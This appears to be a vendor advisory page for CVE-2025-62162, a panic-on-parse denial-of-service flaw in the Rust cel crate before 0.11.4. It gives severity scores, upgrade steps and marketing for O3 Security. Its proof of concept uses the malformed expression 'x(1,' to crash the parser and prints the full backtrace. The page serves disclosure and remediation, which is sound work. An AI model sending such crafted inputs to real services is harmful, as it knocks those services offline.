How severe is GHSA-wxwx-9fh7-5mrw?

GHSA-wxwx-9fh7-5mrw has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-wxwx-9fh7-5mrw?

GHSA-wxwx-9fh7-5mrw affects the following packages: cel (crates.io). Ecosystems affected: crates.io.

How do I fix GHSA-wxwx-9fh7-5mrw?

Update cel to 0.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wxwx-9fh7-5mrw is resolved across your whole dependency graph.

How do I detect GHSA-wxwx-9fh7-5mrw in my crates.io dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-wxwx-9fh7-5mrw if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-wxwx-9fh7-5mrw?

O3 pinpoints whether GHSA-wxwx-9fh7-5mrw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-wxwx-9fh7-5mrw actively exploited in the wild?

No public exploit code has been indexed for GHSA-wxwx-9fh7-5mrw yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-wxwx-9fh7-5mrw?

GHSA-wxwx-9fh7-5mrw has an EPSS (Exploit Prediction Scoring System) score of 0.3%, placing it in the 24th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is GHSA-wxwx-9fh7-5mrw?

GHSA-wxwx-9fh7-5mrw is classified as Improper Input Validation (CWE-20). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation.

When was GHSA-wxwx-9fh7-5mrw published, and has it been updated?

GHSA-wxwx-9fh7-5mrw was published on October 11, 2025 and was last updated on October 11, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🦀 crates.io

GHSA-wxwx-9fh7-5mrw

HIGH

cel-rust May Panic During Parsing of Invalid CEL Expressions

Also known asCVE-2025-62162

Published

Oct 11, 2025

Updated

Oct 11, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.3%probability of exploitation in next 30 days

Lower Risk24th percentile+0.16%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🦀cel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS).

Remediation

Upgrade to 0.11.4

[dependencies]
cel = "0.11.4"

PoC

use cel::{Context, Program};

fn main() {
    let program = Program::compile("x(1,").unwrap();
    let context = Context::default();
    let value = program.execute(&context).unwrap();
    assert_eq!(value, true.into());
}

$ RUST_BACKTRACE=1 cargo run --bin example-simple
   Compiling num-traits v0.2.19
   Compiling aho-corasick v1.1.3
   Compiling regex-syntax v0.8.5
   Compiling arbitrary v1.4.1
   Compiling serde v1.0.219
   Compiling thiserror v1.0.69
   Compiling regex-automata v0.4.9
   Compiling chrono v0.4.41
   Compiling regex v1.11.1
   Compiling cel v0.10.0 (/home/john/git/cel-rust/cel)

warning: `cel` (lib) generated 15 warnings
   Compiling example v0.1.0 (/home/john/git/cel-rust/example)
    Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.97s
     Running `target/debug/example-simple`

thread 'main' panicked at /home/john/.cargo/registry/src/index.crates.io-1949cf8c6b5b557f/antlr4rust-0.3.0-beta3/src/tree.rs:383:9:
internal error: entered unreachable code: should have been properly implemented by generated context when reachable
stack backtrace:
   0: __rustc::rust_begin_unwind
   1: core::panicking::panic_fmt
   2: antlr4rust::tree::Visitable::accept
   3: <cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
   4: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
   5: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
   6: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
   7: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_calc
   8: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_calc
   9: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::CalcContextExt>>::accept
  10: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  11: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  12: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  13: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_relation
  14: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_relation
  15: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::RelationContextExt>>::accept
  16: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  17: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  18: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  19: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalAnd
  20: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalAnd
  21: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalAndContextExt>>::accept
  22: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  23: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  24: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  25: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalOr
  26: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalOr
  27: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalOrContextExt>>::accept
  28: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  29: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  30: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  31: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_expr
  32: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_expr
  33: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ExprContextExt>>::accept
  34: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  35: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  36: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  37: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_GlobalCall::{{closure}}
  38: <core::iter::adapters::map::Map<I,F> as core::iter::traits::iterator::Iterator>::next
  39: alloc::vec::Vec<T,A>::extend_desugared
  40: <alloc::vec::Vec<T,A> as alloc::vec::spec_extend::SpecExtend<T,I>>::spec_extend
  41: <alloc::vec::Vec<T> as alloc::vec::spec_from_iter_nested::SpecFromIterNested<T,I>>::from_iter
  42: <alloc::vec::Vec<T> as alloc::vec::spec_from_iter::SpecFromIter<T,I>>::from_iter
  43: <alloc::vec::Vec<T> as core::iter::traits::collect::FromIterator<T>>::from_iter
  44: core::iter::traits::iterator::Iterator::collect
  45: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_GlobalCall
  46: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_GlobalCall
  47: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::GlobalCallContextExt>>::accept
  48: <cel::parser::gen::celparser::PrimaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
  49: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  50: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  51: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  52: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_PrimaryExpr
  53: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_PrimaryExpr
  54: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::PrimaryExprContextExt>>::accept
  55: <cel::parser::gen::celparser::MemberContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
  56: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  57: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  58: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  59: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_MemberExpr
  60: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_MemberExpr
  61: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::MemberExprContextExt>>::accept
  62: <cel::parser::gen::celparser::UnaryContextAll as antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor>>::accept
  63: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  64: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  65: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  66: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_calc
  67: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_calc
  68: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::CalcContextExt>>::accept
  69: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  70: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  71: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  72: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_relation
  73: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_relation
  74: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::RelationContextExt>>::accept
  75: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  76: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  77: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  78: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalAnd
  79: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalAnd
  80: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalAndContextExt>>::accept
  81: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  82: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  83: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  84: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_conditionalOr
  85: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_conditionalOr
  86: cel::parser::gen::celparser::<impl antlr4rust::tree::Visitable<dyn cel::parser::gen::celvisitor::CELVisitor> for antlr4rust::parser_rule_context::BaseParserRuleContext<cel::parser::gen::celparser::ConditionalOrContextExt>>::accept
  87: <dyn cel::parser::gen::celparser::CELParserContext+Ctx = cel::parser::gen::celparser::CELParserContextType+TF = antlr4rust::token_factory::CommonTokenFactory as antlr4rust::tree::VisitableDyn<T>>::accept_dyn
  88: <T as antlr4rust::tree::VisitChildren<Node>>::visit_node
  89: <cel::parser::parser::Parser as antlr4rust::tree::ParseTreeVisitorCompat>::visit
  90: <cel::parser::parser::Parser as cel::parser::gen::celvisitor::CELVisitorCompat>::visit_expr
  91: <T as cel::parser::gen::celvisitor::CELVisitor>::visit_expr
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.

Impact

Users accepting untrusted CEL expressions

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🦀crates.io	`cel`	≥ 0.10.0&&< 0.11.4	0.11.4

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cel. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update cel to 0.11.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wxwx-9fh7-5mrw is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-wxwx-9fh7-5mrw is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-wxwx-9fh7-5mrw. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary Parsing certain malformed CEL expressions can cause the parser to panic, terminating the process. When the crate is used to evaluate untrusted expressions (e.g., user-supplied input over an API), an attacker can send crafted input to trigger a denial of service (DoS). ### Remediation Upgrade to 0.11.4 ```toml [dependencies] cel = "0.11.4" ``` ### PoC ```rust use cel::{Context, Program}; fn main() { let program = Program::compile("x(1,").unwrap(); let context = Context::default(); let value = program.execute(&context).unwrap(); assert_eq!(value, true.into()); }

O3 Security · Impact-Aware SCA

Is GHSA-wxwx-9fh7-5mrw in your dependencies?

O3 detects GHSA-wxwx-9fh7-5mrw across crates.io dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works